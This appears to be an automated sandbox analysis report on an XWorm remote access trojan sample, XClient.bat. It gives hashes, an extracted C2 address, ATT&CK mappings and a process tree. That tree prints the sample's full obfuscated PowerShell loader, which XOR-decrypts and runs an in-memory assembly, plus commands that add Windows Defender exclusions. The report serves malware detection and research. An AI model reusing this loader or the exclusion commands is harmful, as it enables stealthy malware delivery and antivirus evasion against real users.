xworm | 713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2

General

Target

XClient.bat
Size

66KB
MD5

ded6a5751236497347ed27d22226ef8d
SHA1

be89ce17f8dade3336202acc0b7ac78d3f9dbdca
SHA256

713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2
SHA512

8356eacb14d0cb5e552d383e6a5afe0873b1de2b9f002f743bd7d7aee50748011406964407e0ea0a3e04e03677410785cd385c72d88a10ced33d9315ba427ef4
SSDEEP

1536:iZAamnjGVMuIfaG8PUTjSQ3qYZmdN+p6CjQU+n2S+9Kh:WAamjVuWLTjR6YZ2Ip6CjQUo2SMQ

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

C2

name-hundred.gl.at.ply.gg:10055

Attributes

install_file
Windows.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/5068-19-0x00000224A6690000-0x00000224A66A6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
388	powershell.exe
1404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	XClient.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
5068	XClient.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3892	timeout.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
5068	XClient.bat.exe
5068	XClient.bat.exe
388	powershell.exe
388	powershell.exe
1404	powershell.exe
1404	powershell.exe
5068	XClient.bat.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	XClient.bat.exe
Token: SeDebugPrivilege	388	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5068	XClient.bat.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 5068	532	cmd.exe	84
PID 532 wrote to memory of 5068	532	cmd.exe	84
PID 5068 wrote to memory of 388	5068	XClient.bat.exe	93
PID 5068 wrote to memory of 388	5068	XClient.bat.exe	93
PID 5068 wrote to memory of 1404	5068	XClient.bat.exe	95
PID 5068 wrote to memory of 1404	5068	XClient.bat.exe	95
PID 5068 wrote to memory of 2412	5068	XClient.bat.exe	103
PID 5068 wrote to memory of 2412	5068	XClient.bat.exe	103
PID 2412 wrote to memory of 3892	2412	cmd.exe	105
PID 2412 wrote to memory of 3892	2412	cmd.exe	105

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:532
- C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe
  "XClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $MACmm = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($ctUEx in $MACmm) { if ($ctUEx.StartsWith(':: ')) { $WrLPu = $ctUEx.Substring(3); break; }; };$rNiyV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WrLPu);$dKTzZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O3DlLOZ1HoqoHUXVbXCi17PqHhkd750PUh0uxdCau4Y=');for ($i = 0; $i -le $rNiyV.Length - 1; $i++) { $rNiyV[$i] = ($rNiyV[$i] -bxor $dKTzZ[$i % $dKTzZ.Length]); };$HeEGM = New-Object System.IO.MemoryStream(, $rNiyV);$zLsAA = New-Object System.IO.MemoryStream;$Vwwuc = New-Object System.IO.Compression.GZipStream($HeEGM, [IO.Compression.CompressionMode]::Decompress);$Vwwuc.CopyTo($zLsAA);$Vwwuc.Dispose();$HeEGM.Dispose();$zLsAA.Dispose();$rNiyV = $zLsAA.ToArray();$lapFA = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($rNiyV);$JOwJF = $lapFA.EntryPoint;$JOwJF.Invoke($null, (, [string[]] ('')))
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.bat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6B38.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:3892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1cc5e033811a5d520bb4a6904b5c433b

SHA1
c159a342ed372790600b3a6ac97e274638a0ce9a

SHA256
9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8

SHA512
dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429

Download Submit
C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2fmndub.24f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6B38.tmp.bat

Filesize
163B

MD5
4215b42527bad1624bc89afd197fee46

SHA1
f6e754df1e126488d3b08440611024a5664722b6

SHA256
d58955283f951cdd3dc50a587cee426b499aba85d9a4b5854f1d0eec0aae6a30

SHA512
35bbee3d210be1c1996ffe7271552e6bf713c9be00da8c40955ac0822b267173d04e9748d9782b8b4d7a73575e8f053103a1856156add177473cda2cbe81d719

Download Submit
memory/388-31-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/388-34-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/388-29-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/388-30-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/5068-16-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/5068-19-0x00000224A6690000-0x00000224A66A6000-memory.dmp

Filesize
88KB

Download
memory/5068-17-0x00000224A6680000-0x00000224A6692000-memory.dmp

Filesize
72KB

Download
memory/5068-15-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/5068-47-0x00007FFE84933000-0x00007FFE84935000-memory.dmp

Filesize
8KB

Download
memory/5068-48-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/5068-49-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download
memory/5068-5-0x00000224A6330000-0x00000224A6352000-memory.dmp

Filesize
136KB

Download
memory/5068-4-0x00007FFE84933000-0x00007FFE84935000-memory.dmp

Filesize
8KB

Download
memory/5068-56-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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